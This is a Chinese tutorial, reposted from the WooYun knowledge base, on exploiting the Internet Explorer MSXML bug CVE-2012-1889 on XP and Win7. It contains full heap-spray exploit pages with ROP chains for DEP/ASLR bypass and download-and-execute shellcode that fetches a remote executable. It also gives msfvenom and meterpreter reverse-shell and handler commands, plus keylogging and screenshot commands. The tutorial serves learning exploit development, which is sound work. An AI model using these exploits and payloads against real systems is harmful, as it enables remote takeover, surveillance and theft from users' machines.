作者 simp1e 2016-07-05 11:01:00
被查看了426次 , 本文转载自:乌云知识库

浏览器漏洞入门

0x00 cve-2012-1889 IE

这篇文章,主要是想记录一下自己从小白开始接触windows下IE漏洞调试的过程,也想的是给更多的新手一个参考的教程吧。大牛轻喷!

一开始是想做这个洞在xp的ie下的洞,和win7下的洞,然后再找找win8以上edge的洞来学习,想着把ie的各个版本的漏洞先摸一摸的,结果发现只做成了这个2012的老洞,不过作为新手,我感觉做到这么多已经是很足够了。

本文章在很大程度上感谢Wins0n大牛的博客,Wins0n这边没有写win7的exploit,我这边自己研究了一下写了win7下ie8的poc(rop到没有开启aslr的dll的话和xp上没什么区别~~~),同时后面加了一些msf方面的shellcode和meterpreter模块(新司机也可以看看)。

0x01 相关工具

  1. windbg
  2. mona配置
  3. immunity debugger
  4. ROPgadegt

配置过程参照http://drops.wooyun.org/tips/6814

0x02 参考资料

  1. Wins0n菊苣关于cve-2012-1889漏洞的博客http://www.programlife.net/heapspray-cve2012-1889-exploit-1.html
  2. 乌云上关于mona的使用http://drops.wooyun.org/tips/6814
  3. 看雪上的《Exploit 编写系列教程第十一篇:堆喷射技术揭秘》,讲得很精彩,还需要仔细研究研究

0x03 漏洞简述

cve-2012-1889这个漏洞是在xml解析的过程中有问题。据CVE-2012-1889描述,Microsoft XML Core Services 中的漏洞可能允许远程执行代码。微软公司将该漏洞编号为MS12-043,其描述是:“Microsoft XML Core Services 处理内存中的对象的方式中存在一个远程执行代码漏洞。如果用户查看包含特制内容的网站,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以完全控 制受影响的系统。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少系统用户权限的用户比具有管 理用户权限的用户受到的影响要小。”(具体是啥,好像有点难分析,自己这里先着眼的是漏洞的利用,还没到漏洞机理的分析,以后有机会再分析)

0x04 Heapspray

堆喷射(Heap Spray)是一种payload传递技术,借助堆来将shellcode放置在可预测的堆地址上,然后稳定地跳入shellcode。为了实现heap spray,你需要在劫持EIP前,能够先分配并填充堆内存块。“需要..能够..”的意思是在触发内存崩溃前,你必须能够在目标程序中分配可控内存数据。浏览器已经为此提供了一种很简单的方法,它能够支持脚本,可直接借助javascript或者vbscript在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器,例如你也可以在Adobe Reader中使用Javascript或者Actionscript将shellcode放置在可预测的堆地址上。

4.1-BSTR对象

我们在浏览器内存里面分配字符串的时候,最终在内存中都会被转换成为BSTR字符串对象

p1

所以我们实际的字符串的字节数如下

#!cpp
(length of the string * 2) + 4 bytes (header) + 2 bytes (terminator)

因为堆与堆分配是确定的,直接假设,如果你继续分配内存块,分配器将会在连续/邻近的地址分配堆块(分配足够大的堆块,而非从后端分配器的前端获取分配),最后分配的内存块将会覆盖过某个地址,至少是可预测的地址。虽然首次分配的起始地址是可变,但利用堆喷射,在分配一定次数的内存块后,即可在可预测的地址上分配到内存块。

我们已经知道通过javascript中的字符串变量来分配内存,在上述例子中所使用的字符串很少,而shellcode通常都比较大,但相对堆中可用的虚拟内存来说还是比较少的。理论上,我们可以分配一系列变量,而每个变量又包含有shellcode,然后我们再设法跳入其中一个变量所在的内存块。多次在内存中分配shellcodle,我们将用由以下两部分数据组成内存块来喷射堆块:

nops(许多nop指令)
shellcode(放置在喷射块的尾部)

如果所使用的喷射块足够大,那么利用Win32平台下堆块分配粒度,就可精确定位堆地址,这也意味着堆喷射之后,每次都能跳入nops中。如果跳到Nops,那么我们就有机会执行shellcode。下面就是一张堆块分配视图:

p2

将所有的堆块相连放置在一块,就可以构造出一大块由nops + shellcode堆块组成的内存块。喷射前后的堆内存视图如下:

p3

4.2-BSTR对象和堆块的关系

我们理解了BSTR和堆喷射的基本原理之后,下面就是要理解好的BSTR和堆块的关系。

当分配一个字符串时,它会被转换成BSTR对象。为了在堆块中保存对象,会先向堆请求一个内存块。那么这个内存块有多大呢?是否与BSTR对象的大小相同呢?或者更大?如果更大的话,那么BSTR对象是否也会一块放置在同一堆块中?或者堆只是简单地重新分配一块新的堆块?若是如此,那么构造出来连续堆块如下所示:

p4

我们就是要避免

0x05 windows-xp+IE6

ida分析一下msxml3.dll,可以看到0x5dd8d7d5这里是mov ecx,[eax],eax是堆地址,上面的内容我们是可控的.

0x5dd8d7ea处的call dword ptr [ecx+18h],可以进行eip的转移。

p10

看第第一份poc

#!html
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
        var obj = document.getElementById('poc').object;
        var src = unescape("%u0c0c%u0c0c");
        while (src.length < 0x1002) src += src;
        src = "\\\\xxx" + src;
        src = src.substr(0, 0x1000 - 10);
        var pic = document.createElement("img");
        pic.src = src;
        pic.nameProp;
        obj.definition(0);
    </script>
</body>
</html>

windbg附加到进程上面去,我们来看堆的分配情况。可以看到我们的堆块喷射

第二份shellcode为download_exec的poc

#!html
<html>

<head>

    <title>CVE 2012-1889 PoC</title>

</head>

<body>

    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>

    <script>

      var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";

        var fill = "\u0c0c\u0c0c";

        while (fill.length <= 0x100000 / 2){

            fill += fill;

        }

        fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

        var slide = new Array();

        for (var i = 0; i < 200; i++){

            slide[i] = fill + shellcode;

        }

        var obj = document.getElementById('poc').object;

        var src = unescape("%u0c0c%u0c0c");

        while (src.length < 0x1002) src += src;

        src = "\\\\xxx" + src;

        src = src.substr(0, 0x1000 - 10);

        var pic = document.createElement("img");

        pic.src = src;

        pic.nameProp;

        obj.definition(0);

    </script>

</body>

</html>

Wins0n菊苣给的poc比较稳定,不断下来的话可以直接成功利用。所以我们在msxml.dll加载的时候断下来,用下面的命令。

#!python
sxe ld:msxml3

可以看到这次我们的堆喷射位置十分准确。同时如果成功调到了0x0c0c0c0c部分的地址,但是没有成功执行shellcode的话,可以在shellcode前面放上几个0xcc0xcc相当于int 3断点,方便调试。

0x06 win7+IE8环境下的POC

我们还是对着这个msxml3进行逆向(这里还是建议大家用ida加载msxml3的时候把windbg联网下载的pdb文件也加载进来,这样有了符号信息,看的很清楚),这里是漏洞触发还是和xp是一个地方,在这里就是0x6887e2d9这个地方mov ecx,[eax],这里的eax由我们控制。

0x6887e2ee这个地方的call dword ptr [ecx+18h]

p5

所以我们可以劫持程序流程,win7下程序开启了DEP+ALSR,下面我们就要考虑如何绕过保护措施进行溢出。

我们还是首先借鉴Wins0n菊苣的博客三里面的poc,我们把它跑起来。

Wins0n的第三份poc

#!html
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
        // [ Shellcode ]
      var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";
        // [ ROP Chain ]
        // 0x0C0C0C24 -> # retn
        // 0x0C0C0C14 -> # xchg eax, esp # retn
        // Start from 0x0c0c0c0c
        var rop_chain = "\uBE4C\u77BE" + // 0x77BEBE4C  # retn [msvcrt.dll]
                        "\uBE4B\u77BE" + // 0x77BEBE4B  # pop ebp # retn [msvcrt.dll]
                        "\u5ED5\u77BE" + // 0x77BE5ED5  # xchg eax, esp # retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C  # retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C  # retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C  # retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C  # retn [msvcrt.dll]
                        // The real rop chain
                        "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll]
                        "\ube4b\u77be" + // 0x77bebe4b : ,# skip 4 bytes [msvcrt.dll]
                        "\u6e9d\u77c1" + // 0x77c16e9d : ,# POP EBX # RETN [msvcrt.dll]
                        "\uE000\u0000" + // 0x0000E000 : ,# 0x0000E000-> ebx [dwSize]
                        "\ucdec\u77c1" + // 0x77c1cdec : ,# POP EDX # RETN [msvcrt.dll]
                        "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
                        "\u79da\u77bf" + // 0x77bf79da : ,# POP ECX # RETN [msvcrt.dll]
                        "\uf67e\u77c2" + // 0x77c2f67e : ,# &Writable location [msvcrt.dll]
                        "\uaf6b\u77c0" + // 0x77c0af6b : ,# POP EDI # RETN [msvcrt.dll]
                        "\u9f92\u77c0" + // 0x77c09f92 : ,# RETN (ROP NOP) [msvcrt.dll]
                        "\u6f5a\u77c1" + // 0x77c16f5a : ,# POP ESI # RETN [msvcrt.dll]
                        "\uaacc\u77bf" + // 0x77bfaacc : ,# JMP [EAX] [msvcrt.dll]
                        "\u289b\u77c2" + // 0x77c2289b : ,# POP EAX # RETN [msvcrt.dll]
                        "\u1131\u77be" + // 0x77BE1131 : ,# ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31
                        "\u67f0\u77c2" + // 0x77c267f0 : ,# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                        "\u1025\u77c2";  // 0x77c21025 : ,# ptr to 'push esp #  ret ' [msvcrt.dll]
        // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes
        var fill = "\u0c0c\u0c0c";
        while (fill.length < 0x1000){
            fill += fill;
        }
        // [ padding offset ]
        padding = fill.substring(0, 0x5F6);
        // [ fill each chunk with 0x1000 bytes ]
        evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);
        // [ repeat the block to 512KB ]
        while (evilcode.length < 0x40000){
            evilcode += evilcode;
        }
        // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
        var block = evilcode.substring(2, 0x40000 - 0x21);
        // [ Allocate 200 MB ]
        var slide = new Array();
        for (var i = 0; i < 400; i++){
            slide[i] = block.substring(0, block.length);
        }
        // [ Vulnerability Trigger ]
        var obj = document.getElementById('poc').object;
        var src = unescape("%u0c08%u0c0c");     // fill the stack with 0x0c0c0c08
        while (src.length < 0x1002) src += src;
        src = "\\\\xxx" + src;
        src = src.substr(0, 0x1000 - 10);
        var pic = document.createElement("img");
        pic.src = src;
        pic.nameProp;
        obj.definition(0);
    </script>
</body>
</html>

用windbg跟入之后我们发现call指令应该转移的位置的确是在0x0c0c0c0c位置处,精确的堆喷射还是没有错的,但是rop链就不能对了,Wins0n的环境还是winxp我们这里环境是win7+IE8,下面一步一步调。

我们跟到我们call指令发现我们实现是精确的堆喷射,然后但是rop链是有问题的。

绕过ASLR

1.win7相较于win xp开启alsr,这样的话dll的地址本来就是随机的,怎么破?

已知绕过aslr的方法有三种

  • 使用未开启ASLR的模块

  • 修改BSTR长度/null结束符

  • 修改数组对象

后两种方法都有各种局限性,需要附属条件,我这边就没有采取。不过大家可以在这篇文章中学习到姿势。http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

使用未开启ASLR的模块,有几个情况可用。

JRE 1.6.x包含了一个老版本的C 运行库 MSVCR71.DLL,编译时没有加上/DYNAMICBASE 编译选项。默认情况下,在win7+ie8 和 win7 +ie9 下,这个DLL会以固定地址加载到IE的进程中。

MS Office 2010/2007中的 HXDS.DLL 编译时也没加上相关选项,该技术最先是在http://www.greyhathacker.net/?p=585提出,也是当前在IE 8/9 + win7 环境下使用最频繁的过地址随机化的方法,当浏览器加载一个带try location.href = ‘ms-help://’语句的页面时,这个DLL就会被加载。

win7下office的帮助模块hsdx.dll没有开启aslr,那么我们就可以用这里固定的ropgadet绕过dep。

#!js
try { location.href = 'ms-help:​//' } catch (e) {}

在html中添加这句话,让浏览器加载hsdx.dll。

构造ROP链来绕过DEP

因为环境不一样,所以我们要来用mona寻找rop链。

建议大家用Immunity Debugger下的mona插件找ropchain。

我们尝试了一下在windbg里面用mona好像是崩溃的,于是还是回到Immunity Debugger下用mona找ropchain

#!bash
!mona rop -m hsdx.dll

可以在结果中看到,hsdx.dll是没有开启ASLR的

p6

其实我后面又看了看,还有一些软件插件也是没有开启alsr的

像这个迅雷的XLFSIO.dll,和qq的accountprotect.dll,都没开启aslr,但是不知道为什么ie会加载这些dll,这么危险,不过这样也给了大家更多的可能性绕过aslr

p7

p8

下面就是mona给出的rop链来关闭掉dep,是绕到了virtualprotect函数给了我们shellcode区域可执行权限。

#!js
"\u5253\u51c4" + // 0x51c45253 : ,# POP ESI # RETN [hxds.dll] 

    "\u1158\u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]

    "\u2d2e\u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 

    "\u9987\u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll] 

    "\u60d6\u51be" + // 0x51be60d6 : ,# POP EBP # RETN [hxds.dll] 

    "\ua9f3\u51c4" + // 0x51c4a9f3 : ,# & jmp esp [hxds.dll]

    "\u1cbc\u51c4" + // 0x51c41cbc : ,# POP EBX # RETN [hxds.dll] 

    "\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx

    "\ua7d8\u51bf" + // 0x51bfa7d8 : ,# POP EDX # RETN [hxds.dll] 

    "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx

    "\u0f9a\u51c1" + // 0x51c10f9a : ,# POP ECX # RETN [hxds.dll] 

    "\ubeb3\u51c5" + // 0x51c5beb3 : ,# &Writable location [hxds.dll]

    "\u7642\u51c0" + // 0x51c07642 : ,# POP EDI # RETN [hxds.dll] 

    "\u5c46\u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

    "\u5112\u51c4" + // 0x51c45112 : ,# POP EAX # RETN [hxds.dll] 

    "\u9090\u9090" + // 0x90909090 : ,# nop

    "\ua4ec\u51c0" ; // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]    

我们的栈没有在我们想要的rop上面,所以上来先进行一次栈转移。这里的xchg eax,ebp ...leave 是可以进行一次栈转移的。下面的ropgadegt是我用ROPgadget分析hsdx.dll找来的,相较于mona,可以发现它们的区别,mona可以直接生成实现功能的rop链,但是在rop链在实际运用中的调整还是用后者来得更加方便。

p9

#!cpp
ROPgadget --binary /media/share/hxds.dll | grep "pop"

0x51bf4451 : test dword ptr [esi + ebx*4], ecx ; add byte ptr [eax], al ; mov al, byte ptr [ebp - 1] ; leave ; ret

0x51bd4f78 : xchg eax, ebp ; add eax, 0xc0330000 ; inc eax ; pop edi ; leave ; ret 4

0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc

我们注意一步一步来,第一步call指令的状态

windbg的时候,断点的位置下在这里_dispatchImpl::InvokeHelper+0x1c7690x51c4a9f3

call dword ptr [ecx+18h] //ecx=0c0c0c0c,所以下一步eip指向的是0x0c0c0c24,这里的ecx来自于前面的指令

#!bash
mov ecx,[eax];//eax=0x0c0c0c08

所以我们先进行一次栈转移,这里我们来用

#!bash
0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc

这样的话,ebp会变成0x0c0c0c08,然后我们后面的leave指令会进行一次栈转移,使得esp=0x0c0c0c0c

然后我们的ret 0xc,就是相当于add esp,0xc然后把esp的dword(也就是0xc0c0c18)给eip,再把esp+4,所以我们0x0c0c0c18这里是我们下一条指令

好了经过后面的测试发现我们的rop成功的把dep关掉了,然后我们下面就是shellcode的问题(之前跑到了shellcode发现不行,后来换了msf模块化的shellcode,具体下面再讲)

#!html
<html>

<head>

    <title>CVE 2012-1889 PoC</title>

</head>

<body>



    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>

    <script>

        try { location.href = 'ms-help:​//' } catch (e) {};

        // [ Shellcode ]

      var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u60eb%u315b%u51c9%u6a51%u5103%u6a51%u5350%u6850%u8957%uc69f%ud5ff%u4feb%u3159%u52d2%u0068%u6032%u5284%u5252%u5251%u6850%u55eb%u3b2e%ud5ff%uc689%u106a%u685b%u3380%u0000%ue089%u046a%u6a50%u561f%u7568%u9e46%uff86%u31d5%u57ff%u5757%u5657%u2d68%u1806%uff7b%u85d5%u75c0%u4b1d%u840f%u007a%u0000%ud1eb%u8ce9%u0000%ue800%uffac%uffff%u742f%u7365%u2e74%u7865%u0065%u6beb%uc031%u505f%u026a%u026a%u6a50%u6a02%u5702%uda68%udaf6%uff4f%u93d5%uc031%ub866%u0304%uc429%u8d54%u244c%u3108%ub4c0%u5003%u5651%u1268%u8996%uffe2%u85d5%u74c0%u582d%uc085%u1674%u006a%u5054%u448d%u0c24%u5350%u2d68%uae57%uff5b%u83d5%u04ec%uceeb%u6853%u96c6%u5287%ud5ff%u006a%u6857%u8b31%u876f%ud5ff%u006a%uf068%ua2b5%uff56%ue8d5%uff90%uffff%u7572%u646e%u3131%u652e%u6578%ue800%uff0a%uffff%u6574%u7473%u632e%u6d6f%u4100");

        // [ ROP Chain ]

        // 0x0C0C0C24 -> # retn

        // 0x0C0C0C14 -> # xchg eax, esp # retn

        // Start from 0x0c0c0c0c

                    //rop in hxds.dll which is not set aslr in win7

        rop_chain= "\u5c46\u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    "\u5c46\u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    "\u5c46\u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    //this is the two_step rop address

                    "\u5c46\u51c5" + // <- 0x0c0c0c18 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    "\u5c46\u51c5" + // <- 0x0c0c0c18 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    "\uc0bf\u51bd" + // <- 0x0c0c0c20 0x51bdc0bf : xor eax, eax ; pop ecx ; ret

                    //real rop_chain 

                    "\ua961\u51bd" + // <- 0x0c0c0c24 0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc

                    "\u5253\u51c4" + // <- 0x0c0c0c28 0x51c45253 : ,# POP ESI # RETN [hxds.dll] 

                    "\u1158\u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]

                    "\u2d2e\u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 

                    "\u9987\u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll] 

                    "\u60d6\u51be" + // 0x51be60d6 : ,# POP EBP # RETN [hxds.dll] 

                    "\ua9f3\u51c4" + // 0x51c4a9f3 : ,# & jmp esp [hxds.dll]//退出virtualprotect用的

                    "\u1cbc\u51c4" + // 0x51c41cbc : ,# POP EBX # RETN [hxds.dll] 

                    "\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx

                    "\ua7d8\u51bf" + // 0x51bfa7d8 : ,# POP EDX # RETN [hxds.dll] 

                    "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx

                    "\u0f9a\u51c1" + // 0x51c10f9a : ,# POP ECX # RETN [hxds.dll] 

                    "\ubeb3\u51c5" + // 0x51c5beb3 : ,# &Writable location [hxds.dll]

                    "\u7642\u51c0" + // 0x51c07642 : ,# POP EDI # RETN [hxds.dll] 

                    "\u5c46\u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]

                    "\u5112\u51c4" + // 0x51c45112 : ,# POP EAX # RETN [hxds.dll] 

                    "\u9090\u9090" + // 0x90909090 : ,# nop

                    "\ua4ec\u51c0" ; // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]    

                        // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes

        var fill = "\u0c0c\u0c0c";

        while (fill.length < 0x1000){

            fill += fill;

        }

        // [ padding offset ]

        padding = fill.substring(0, 0x5F6);

        //padding=fill.substring(0,0x60e)

        // [ fill each chunk with 0x1000 bytes ]

        evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);

        // [ repeat the block to 512KB ]

        while (evilcode.length < 0x40000){

            evilcode += evilcode;

        }

        // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]

        var block = evilcode.substring(2, 0x40000 - 0x21);

        // [ Allocate 200 MB ]

        var slide = new Array();

        for (var i = 0; i < 400; i++){

            slide[i] = block.substring(0, block.length);

        }

        // [ Vulnerability Trigger ]

        var obj = document.getElementById('poc').object;

        var src = unescape("%u0c08%u0c0c");     // fill the stack with 0x0c0c0c08

        while (src.length < 0x1002) src += src;

        src = "\\\\xxx" + src;

        src = src.substr(0, 0x1000 - 10);

        var pic = document.createElement("img");

        pic.src = src;

        pic.nameProp;

        obj.definition(0);

    </script>

</body>

</html>

shellcode及msf相关

下面我们用msfpayload(kali里面已经改成了msfvenom)模块生成shellcode

参照http://blog.csdn.net/lzhd24/article/details/50664342这里学习怎么生成shellcode,这里我们可以生成各种各样的shellcode,简直帅呆,这里我们来初次体验一下meterpreter这个好玩的东西。

先是生成meterpreter的exe,然后再连接上它。

#!bash
[email protected]:~# msfvenom -p windows/download_exec URL=http://test.com/test.exe -f js_le #生成ie里面的js的download&exec的shellcode

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 435 bytes

%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u60eb%u315b%u51c9%u6a51%u5103%u6a51%u5350%u6850%u8957%uc69f%ud5ff%u4feb%u3159%u52d2%u0068%u6032%u5284%u5252%u5251%u6850%u55eb%u3b2e%ud5ff%uc689%u106a%u685b%u3380%u0000%ue089%u046a%u6a50%u561f%u7568%u9e46%uff86%u31d5%u57ff%u5757%u5657%u2d68%u1806%uff7b%u85d5%u75c0%u4b1d%u840f%u007a%u0000%ud1eb%u8ce9%u0000%ue800%uffac%uffff%u742f%u7365%u2e74%u7865%u0065%u6beb%uc031%u505f%u026a%u026a%u6a50%u6a02%u5702%uda68%udaf6%uff4f%u93d5%uc031%ub866%u0304%uc429%u8d54%u244c%u3108%ub4c0%u5003%u5651%u1268%u8996%uffe2%u85d5%u74c0%u582d%uc085%u1674%u006a%u5054%u448d%u0c24%u5350%u2d68%uae57%uff5b%u83d5%u04ec%uceeb%u6853%u96c6%u5287%ud5ff%u006a%u6857%u8b31%u876f%ud5ff%u006a%uf068%ua2b5%uff56%ue8d5%uff90%uffff%u7572%u646e%u3131%u652e%u6578%ue800%uff0a%uffff%u6574%u7473%u632e%u6d6f%u4100

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.102 -f exe -o meter_102.exe


#!bash
//msf里面开启meterpreter的监听进程

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 0.0.0.0

set LPORT 4444

run

//然后开始玩

screenshot //截图

migrate pid //迁移到别的进程去

run /post/windows/capture/keylog_recorder #键盘记录

关于msf的更多用法可以去看看诸葛老师翻译的《Metesploit渗透测试指南》

0x07 其他可以去看看的浏览器漏洞

CVE-2013-3163

IE UAF。这里的绕过aslr方法很有意思,攻击者可以修改Vector.<Uint>的长度,然后寻找构造rop的指令.

链接:http://www.cnblogs.com/wal613/p/3887719.html

CVE-2014-8638

firefox漏洞和普通的ie的底层平台有很大不同。可以开阔一下思路。

链接:http://drops.wooyun.org/papers/5350

本文转载自:乌云知识库